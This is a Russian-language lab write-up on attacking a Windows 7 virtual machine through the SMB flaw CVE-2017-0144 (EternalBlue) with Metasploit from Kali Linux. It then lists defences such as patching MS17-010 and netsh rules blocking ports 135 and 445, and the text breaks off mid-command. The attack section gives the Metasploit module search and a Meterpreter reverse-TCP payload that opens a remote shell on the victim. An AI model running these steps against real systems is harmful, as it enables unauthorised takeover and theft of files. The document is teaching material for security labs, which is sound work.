Vulnerability-Research-CVE-2017-0144
ЛАБ: АТАКА НА ОПЕРАЦИОННУЮ СИСТЕМУ WINDOWS НА ОСНОВЕ УЯЗВИМОСТИ ПРОТОКОЛА SMB.

- I. ОПИСАНИЕ
В данной лабораторной работе мы будем использовать два компьютера для имитации атаки, основанной на уязвимости в протоколе SMB операционной системы Windows. Одна машина работает под управлением ОС Kali Linux и играет роль злоумышленника (хакера). А второй компьютер играет роль машины жертвы (victim). Машина жертвы работает под управлением операционной системы Windows 7 64 bit и содержит уязвимость SMB. Для этого на машине Kali Linux мы будем использовать эксплойт под названием EternalBlue для атаки на машину Windows 7.
- II. ОБЩЕЕ ВВЕДЕНИЕ
- Server Message Block (SMB) — это довольно распространённый протокол обмена файлами на платформе Windows от Microsoft. Благодаря этому протоколу SMB компьютеры Windows, соединённые друг с другом в одной подсети или в одном домене, могут обмениваться файлами. На сегодняшний день SMB также известен под другим названием — Common Internet File Sharing (CIFS).
- EternalBlue — это эксплойт, основанный на уязвимости протокола SMB через порт 445. Изначально EternalBlue был разработан Агентством национальной безопасности США (NSA). Его полное название на английском — U.S. National Security Agency. Но впоследствии он был слит хакерской группой The Shadow Brokers в 2017 году. В том же году. По всему миру произошла крупномасштабная атака вируса-шифровальщика данных — Ransomware, нацеленная на компьютеры Microsoft под управлением Windows. Самой известной из них по-прежнему остаётся вирус WannaCry. Хотя на сегодняшний день эта уязвимость и была закрыта Microsoft с помощью обновления безопасности MS17-010, однако в мире по-прежнему существует большое количество компьютеров, работающих под управлением ОС Windows, в которых присутствует эта уязвимость. Данная уязвимость опубликована как CVE-2017-0144 (Windows SMB Remote Code Execution Vulnerability). Эта уязвимость чрезвычайно опасна и очень легко эксплуатируется. Что примечательно, так это то, что для атаки через эту уязвимость протокола SMB. Хакеру не нужно отправлять или обманом заставлять жертву загружать или запускать какой-либо вредоносный вирус. То есть жертва, даже не делая ничего, всё равно может быть легко атакована хакером, который захватит управление компьютером, и она об этом даже не узнает.
- III. ПОДГОТОВКА
- Подготовим 2 виртуальные машины, работающие в VMware Workstation. Виртуальная машина Kali Linux (машина хакера) имеет IP-адрес: 192.168.198.140, а виртуальная машина Windows 7 (машина жертвы) имеет IP-адрес: 192.168.198.143.
1.На виртуальной машине Kali(attack):
- -Проверяем IP-адрес: ifconfig
- -Запускаем службу PostgreSQL: # service postgresql start
- -Проверяем, запущена ли служба PostgreSQL, с помощью команды: # service postgresql status
2.На виртуальной машине Windows 7(victim):
- Проверяем IP-адрес: ipconfig
- Отключаем брандмауэр (Firewall).
- IV. ВЫПОЛНЕНИЕ АТАКИ.
- На машине Kali: входим в Metasploit с помощью команды: # msfconsole

- Когда мы вошли в Metasploit, ищем ошибки, а также синтаксис, связанные с ms17_010, с помощью команды: # search ms17_010

- Добавляем IP-адрес машины жертвы и машины атаки
- Настраиваем payload для эксплуатации:
- use 0 -> set payload windows/x64/meterpreter/reverse_tcp:
- Запускаем эксплойт для проведения атаки

- -Открываем shell на машине жертвы (выполняется через терминал машины атаки) после того, как удалось проникнуть внутрь:

- =>На этом этапе можно считать, что хакер успешно проник в машину жертвы. В этот момент хакер может удалять и похищать файлы с машины жертвы, и она об этом даже не узнает. Более того, хакер может загружать и запускать вирусы прямо на ней.
- V. СПОСОБЫ ЗАЩИТЫ.
- – Чтобы избежать эксплуатации и использования протокола SMB, нам необходимо выполнить следующие действия:
- Активируем брандмауэр (Firewall).
- Обновляем Windows до последней версии. Или загружаем и устанавливаем патчи безопасности Microsoft. Особенно патч безопасности ms17_010.
- Блокируем порты 135, 445.
- +netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=135 name="Block_Cong_135"
- +netsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=445 nam